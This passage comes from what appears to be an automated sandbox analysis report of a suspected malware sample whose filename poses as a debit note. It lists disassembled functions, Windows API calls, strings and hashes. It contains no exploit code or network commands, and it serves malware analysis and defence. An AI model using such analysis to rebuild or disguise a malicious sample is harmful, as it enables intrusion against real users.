                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcslen$Directory$CurrentSystem
                                          • String ID: D
                                          • API String ID: 1914653954-2746444292
                                          • Opcode ID: 44be7054643fd4ba856d6b2e359bfbfbb3de9f7e14d5395c76b411fe07bee919
                                          • Instruction ID: cb0983c86ca1fa87ccea60adda1cf5635047c5df12380c224dcb23d097980814
                                          • Opcode Fuzzy Hash: 44be7054643fd4ba856d6b2e359bfbfbb3de9f7e14d5395c76b411fe07bee919
                                          • Instruction Fuzzy Hash: 98E101716043409BD710EF65C845B6BB7E4AFC4308F148D2EF98987392EB39E945CB9A
                                          Function 0045CD1E Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215COMMON
                                          Download Yara Rule
                                          APIs
                                          • _wcsncpy.LIBCMT ref: 0045CE39
                                          • __wsplitpath.LIBCMT ref: 0045CE78
                                          • _wcscat.LIBCMT ref: 0045CE8B
                                          • _wcscat.LIBCMT ref: 0045CE9E
                                          • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CEB2
                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CEC5
                                            • Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F
                                          • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF05
                                          • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF1D
                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF2E
                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF3F
                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF53
                                          • _wcscpy.LIBCMT ref: 0045CF61
                                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CFA4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                          • String ID: *.*
                                          • API String ID: 1153243558-438819550
                                          • Opcode ID: 28b8a1e182566b38844f77773a79acdc9f60bea9bca2776be04cde59cc8a5d2f
                                          • Instruction ID: eacc2f87ca0c49a88fd160cf35c0ab61f7b8ac52d7ffc0430f804bda47b2a69a
                                          • Opcode Fuzzy Hash: 28b8a1e182566b38844f77773a79acdc9f60bea9bca2776be04cde59cc8a5d2f
                                          • Instruction Fuzzy Hash: F071D572900208AEDB24DB54CCC5AEEB7B5AB44305F1489ABE805D7242D67C9ECDCB99
                                          Function 0044B98C Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 80COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsicoll
                                          • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                          • API String ID: 3832890014-4202584635
                                          • Opcode ID: 95885f1eddacfd63033607ac838e89683eff4e7941016429c0898dbf95f86d61
                                          • Instruction ID: 3b59ed03df0c76d23b576b9f0bbd6b5c96606bf3e4c0b80e5c93e428ec3f30be
                                          • Opcode Fuzzy Hash: 95885f1eddacfd63033607ac838e89683eff4e7941016429c0898dbf95f86d61
                                          • Instruction Fuzzy Hash: AB117772A4422512E91072657C03BFF219CCF1177AF14487BF90DE5A82FB4EDA9541ED
                                          Function 0046A07E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 253windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 0046A0C9
                                          • GetFocus.USER32 ref: 0046A0DD
                                          • GetDlgCtrlID.USER32(00000000), ref: 0046A0E8
                                          • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046A13C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessagePost$CtrlFocus
                                          • String ID: 0
                                          • API String ID: 1534620443-4108050209
                                          • Opcode ID: d1db05db4fd2a56646a253bb82972057caa917eb73d061b61dca20a17b51d953
                                          • Instruction ID: bf3f5449e9a8ba554bb586fd0597798874618ae7c394ba8af81d11134a55f14d
                                          • Opcode Fuzzy Hash: d1db05db4fd2a56646a253bb82972057caa917eb73d061b61dca20a17b51d953
                                          • Instruction Fuzzy Hash: 9791AD71604711AFE710CF14D884BABB7A4FB85314F004A1EF991A7381E7B9D895CBAB
                                          Function 004557E0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 220COMMON
                                          Download Yara Rule
                                          APIs
                                          • DestroyWindow.USER32(?), ref: 004558E3
                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 0045592C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Window$CreateDestroy
                                          • String ID: ,$tooltips_class32
                                          • API String ID: 1109047481-3856767331
                                          • Opcode ID: ae2d9903759a545ce0c494cdefa096f9672d9422e9f4a365a31b4f6ccc33a5ca
                                          • Instruction ID: 3e2a402d8ef05c983ab6a33f0f0d51d253aadf8c8a2d9d50fdabec1795fb524a
                                          • Opcode Fuzzy Hash: ae2d9903759a545ce0c494cdefa096f9672d9422e9f4a365a31b4f6ccc33a5ca
                                          • Instruction Fuzzy Hash: AE71AD71650208AFE720CF58DC84FBA77B8FB59310F20851AFD45AB391DA74AD46CB98
                                          Function 00468B0E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 207windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetMenuItemInfoW.USER32(?,00000007,00000000,00000030), ref: 00468BB1
                                          • GetMenuItemCount.USER32(?), ref: 00468C45
                                          • DeleteMenu.USER32(?,00000005,00000000,?,?,?), ref: 00468CD9
                                          • DeleteMenu.USER32(?,00000004,00000000,?,?), ref: 00468CE2
                                          • DeleteMenu.USER32(00000000,00000006,00000000,?,00000004,00000000,?,?), ref: 00468CEB
                                          • DeleteMenu.USER32(?,00000003,00000000,?,00000004,00000000,?,?), ref: 00468CF4
                                          • GetMenuItemCount.USER32 ref: 00468CFD
                                          • SetMenuItemInfoW.USER32(?,00000004,00000000,00000030), ref: 00468D35
                                          • GetCursorPos.USER32(?), ref: 00468D3F
                                          • SetForegroundWindow.USER32(?), ref: 00468D49
                                          • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,?,00000003,00000000,?,00000004,00000000,?,?), ref: 00468D5F
                                          • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468D6C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow
                                          • String ID: 0
                                          • API String ID: 1441871840-4108050209
                                          • Opcode ID: 12c28d3332ad221b92e3a636ba418a85e822d4b5186b1920d2f56c44304fb3db
                                          • Instruction ID: 6d2915cdebcc0779354c8c01805c07fba6dcd836026253be2713676dcba25ca6
                                          • Opcode Fuzzy Hash: 12c28d3332ad221b92e3a636ba418a85e822d4b5186b1920d2f56c44304fb3db
                                          • Instruction Fuzzy Hash: F571A0B0644300BBE720DB58CC45F5AB7A4AF85724F20470EF5656B3D1DBB8B8448B2A
                                          Function 00460879 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 136windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000,00000066,?,00000FFF,00000010,00000001,?,?,00427F75,?,0000138C,?,00000001,?,?,?), ref: 004608A9
                                          • LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608B0
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,00427F75,?,0000138C,?,00000001,?,?,?,?,?,00000000), ref: 004608D0
                                          • LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608D7
                                          • __swprintf.LIBCMT ref: 00460915
                                          • __swprintf.LIBCMT ref: 0046092D
                                          • _wprintf.LIBCMT ref: 004609E1
                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 004609FA
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: HandleLoadModuleString__swprintf$Message_memmove_wcslen_wprintf
                                          • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                          • API String ID: 3631882475-2268648507
                                          • Opcode ID: 34748020dcaf007b6c88f6c4c4dd7bf7ecfb2d58ebabdf7d9dae9be74c8fa7b1
                                          • Instruction ID: 03c51728676f919c2e33c8c13cfd5c1cee97c3d48cab2dbcdd3400b30208eb52
                                          • Opcode Fuzzy Hash: 34748020dcaf007b6c88f6c4c4dd7bf7ecfb2d58ebabdf7d9dae9be74c8fa7b1
                                          • Instruction Fuzzy Hash: F5416071900209ABDB00FB91CD46AEF7778AF44314F44447AF50577192EA786E45CBA9
                                          Function 004716B8 Relevance: 22.7, APIs: 15, Instructions: 179windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 004716C7
                                          • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 004716E1
                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00471711
                                          • SendMessageW.USER32 ref: 00471740
                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001,?,?,?,?,?,?,?,?,?,?,00001053), ref: 00471779
                                          • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0047179A
                                          • ImageList_Create.COMCTL32(00000020,00000020,00000021,00000000,00000001,?,?,?,?,?,?,?,?,?,?,00001053), ref: 004717B0
                                          • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 004717D3
                                          • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 004717F8
                                          • ImageList_ReplaceIcon.COMCTL32(00000000,000000FF,?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 00471807
                                          • SendMessageW.USER32 ref: 0047184F
                                          • SendMessageW.USER32(?,0000104C,00000000,00000002), ref: 00471872
                                          • SendMessageW.USER32(?,00001015,00000000,00000000), ref: 00471890
                                          • DestroyIcon.USER32(?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 0047189C
                                          • DestroyIcon.USER32(?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 004718A2
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: MessageSend$Icon$ImageList_$CreateDestroyExtractReplace
                                          • String ID:
                                          • API String ID: 4116747274-0
                                          • Opcode ID: 0980e37b37b59800b468ddf3c96ce45e1e3e21a553a40365caf2b501cbb695b2
                                          • Instruction ID: aa77b4eb3e0d334a4980849760fe45b072e458157f6a66894e70986bfe60c355
                                          • Opcode Fuzzy Hash: 0980e37b37b59800b468ddf3c96ce45e1e3e21a553a40365caf2b501cbb695b2
                                          • Instruction Fuzzy Hash: 39617D75A00209AFEB10DF68CD85FEEB7B4FB48710F10855AF618AB2D0D7B4A981CB54
                                          Function 0046163E Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 294windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetClassNameW.USER32(?,?,00000100), ref: 00461678
                                          • _wcslen.LIBCMT ref: 00461683
                                          • __swprintf.LIBCMT ref: 00461721
                                          • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00461794
                                          • GetClassNameW.USER32(?,?,00000400), ref: 00461811
                                          • GetDlgCtrlID.USER32(?), ref: 00461869
                                          • GetWindowRect.USER32(?,?), ref: 004618A4
                                          • GetParent.USER32(?), ref: 004618C3
                                          • ScreenToClient.USER32(00000000), ref: 004618CA
                                          • GetClassNameW.USER32(?,?,00000100), ref: 00461941
                                          • GetWindowTextW.USER32(?,?,00000400), ref: 0046197E
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                          • String ID: %s%u
                                          • API String ID: 1899580136-679674701
                                          • Opcode ID: 766f23a74968ff95f09f311a42cbe987384f70ffc1712f5abd724c40a01aa324
                                          • Instruction ID: 362d1c13b2509f288ecdbc272899e32e1bd8f20a7ba75cfa55bfcaf2deda5cb5
                                          • Opcode Fuzzy Hash: 766f23a74968ff95f09f311a42cbe987384f70ffc1712f5abd724c40a01aa324
                                          • Instruction Fuzzy Hash: 1DA1B2715043019FDB10DF55C884BAB73A8FF84314F08896EFD899B255E738E94ACBA6
                                          Function 0045FD57 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 227windowsleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 0045FDDB
                                          • SetMenuItemInfoW.USER32(00000008,00000004,00000000,00000030), ref: 0045FE14
                                          • Sleep.KERNEL32(000001F4,?,FFFFFFFF,00000000,00000030,?,?,?,?,?,?), ref: 0045FE26
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: InfoItemMenu$Sleep
                                          • String ID: 0
                                          • API String ID: 1196289194-4108050209
                                          • Opcode ID: c65cffcb0b41bccfc2e749f507a7067f69681543840726e93d819a57ffaed043
                                          • Instruction ID: 163fe6e236f433162160dce37f71c375d73f8c96772172175a1e07f10d517f7e
                                          • Opcode Fuzzy Hash: c65cffcb0b41bccfc2e749f507a7067f69681543840726e93d819a57ffaed043
                                          • Instruction Fuzzy Hash: 12710172500244ABDB20CF55EC49FAFBBA8EB95316F00842FFD0197292C374A94DCB69
                                          Function 004313CA Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDC.USER32(00000000), ref: 0043143E
                                          • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0043144F
                                          • CreateCompatibleDC.GDI32(00000000), ref: 00431459
                                          • SelectObject.GDI32(00000000,?), ref: 00431466
                                          • StretchBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 004314CC
                                          • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00431505
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                          • String ID: (
                                          • API String ID: 3300687185-3887548279
                                          • Opcode ID: 54198b849531af9165e9bec096bf8ea3e4974b91d89a9c814b262d795432971a
                                          • Instruction ID: 70523424e9a4c52fdd53d867b9eeb1eac2d89839f103c71a78559f5a5eece38f
                                          • Opcode Fuzzy Hash: 54198b849531af9165e9bec096bf8ea3e4974b91d89a9c814b262d795432971a
                                          • Instruction Fuzzy Hash: 63514971A00209AFDB14CF98C884FAFBBB8EF49310F10891DFA5997290D774A940CBA4
                                          Function 0045DA73 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 141COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004536F7: CharLowerBuffW.USER32(?,?), ref: 0045370C
                                            • Part of subcall function 00445AE0: _wcslen.LIBCMT ref: 00445AF0
                                          • GetDriveTypeW.KERNEL32 ref: 0045DB32
                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DB78
                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DBB3
                                          • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DBED
                                            • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                            • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: SendString$_wcslen$BuffCharDriveLowerType_memmove
                                          • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                          • API String ID: 1976180769-4113822522
                                          • Opcode ID: a85f7e6fea3b256bd08f49877ae03d0a36a67fa55ca674d77d79428d7feae10a
                                          • Instruction ID: 81dc6b2e9a5b1b7ac5bd11c7175921e379baf9e0c2b27e14ed053c07c028f3b1
                                          • Opcode Fuzzy Hash: a85f7e6fea3b256bd08f49877ae03d0a36a67fa55ca674d77d79428d7feae10a
                                          • Instruction Fuzzy Hash: 75516E715043049FD710EF21C981B5EB3E4BF88304F14896FF995AB292D7B8E909CB5A
                                          Function 00432A10 Relevance: 21.1, APIs: 14, Instructions: 140timeCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcslen$_wcsncpy$LocalTime__fassign
                                          • String ID:
                                          • API String ID: 461458858-0
                                          • Opcode ID: 26761b0a7209b856481a9ddbc8736091f87f92f0ac2320453e44697a96ade7e6
                                          • Instruction ID: 9848deb76f2cd1bd94a84263f46e444e1138d8b87e7a9916e51222e649cc75ea
                                          • Opcode Fuzzy Hash: 26761b0a7209b856481a9ddbc8736091f87f92f0ac2320453e44697a96ade7e6
                                          • Instruction Fuzzy Hash: B1417372D10204B6CF10EFA5C946ADFF3B8DF49314F90885BE909E3121F6B4E65583A9
                                          Function 0043009D Relevance: 21.1, APIs: 14, Instructions: 134filecommemoryCOMMON
                                          Download Yara Rule
                                          APIs
